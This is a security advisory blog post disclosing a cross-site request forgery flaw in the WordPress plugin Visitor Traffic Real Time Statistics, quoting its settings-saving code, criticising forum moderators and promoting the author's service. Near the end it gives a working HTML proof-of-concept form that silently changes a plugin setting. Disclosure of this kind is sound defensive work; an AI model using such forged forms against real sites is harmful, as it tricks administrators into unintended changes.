11 Nov 2021

CSRF/Settings Change Vulnerability in Visitor Traffic Real Time Statistics

A recent thread on the WordPress Support Forum claims the WordPess plugin Visitor Traffic Real Time Statistics led to a website being hacked. The claim isn’t backed up with any evidence to support it and claims like that are often incorrect, but we wanted to quickly check over the plugin to make sure there wasn’t an obvious issue that could cause that currently exists in the plugin. What we immediately found was that the plugin isn’t properly secured, and it contains a minor vulnerability. Making the insecurity stand out more is that at the end of September, the developer claimed to have addressed the type of vulnerability we found, but hadn’t even made changes that should address it.

There appear to be other security issues in the plugin as well, so we would recommend not using the plugin unless the developer can show that they are able to properly secure the plugin.

One of the first things you want to check with the claimed type of hack is if the changing of the plugin’s settings is properly secured. When we installed the plugin and changed the settings through the plugin’s settings page, we found that the request didn’t include a nonce, which would mean that there was at least protection against cross-site request forgery (CSRF) missing. Looking at the underlying code, we confirmed that to be the case. What that means is that an attacker could cause a logged in Administrator to change the settings without intending it.

CSRF vulnerabilities are not likely to be exploited (contrary to what you sometimes hear from security companies trying to get press coverage for themselves), so that is not a major issue. Making it even less of an issue, the settings look to have sanitization and or validation being done on them.

Cross-Site Request Forgery (CSRF)/Settings Change

When accessing the plugin’s settings page, the file /ahc_settings.php runs. The first code in that restricts access to Administrators:

2
if(!current_user_can('manage_options'))

In that file, if the POST input “save” is not empty, the function ahcfree_savesettings() will be run:

71
72
if (!empty($_POST['save'])) {
    if (ahcfree_savesettings()) {

That function, which is located in the file /functions.php, doesn’t do a nonce check to prevent CSRF before starting to save the settings:

164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
function ahcfree_savesettings() {
    global $wpdb;
 
    $set_hits_days = intval($_POST['set_hits_days']);
    $set_ajax_check = intval($_POST['set_ajax_check']);
    $posts_type = '';
    $set_ips = ahc_free_sanitize_text_or_array_field($_POST['set_ips']);
    $set_google_map = '';
	$ahcfree_hide_top_bar_icon = isset($_POST['ahcfree_hide_top_bar_icon']) ? intval($_POST['ahcfree_hide_top_bar_icon']) : '0';
	$ahcfree_ahcfree_haships = isset($_POST['ahcfree_ahcfree_haships']) ? intval($_POST['ahcfree_ahcfree_haships']) : '0';
	$delete_plugin_data = isset($_POST['delete_plugin_data']) ? intval($_POST['delete_plugin_data']) : '';
 
    $custom_timezone_offset = ahc_free_sanitize_text_or_array_field($_POST['set_custom_timezone']);
    if ($custom_timezone_offset && $custom_timezone_offset != '') {
        update_option('ahcfree_custom_timezone', $custom_timezone_offset);
    }

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will change the “IP’s to exclude” setting to “proof of concept”.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=ahc_hits_counter_settings"  method="POST">
<input type="hidden" name="save" value="save settings" />
<input type="hidden" name="set_ips" value="proof of concept" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.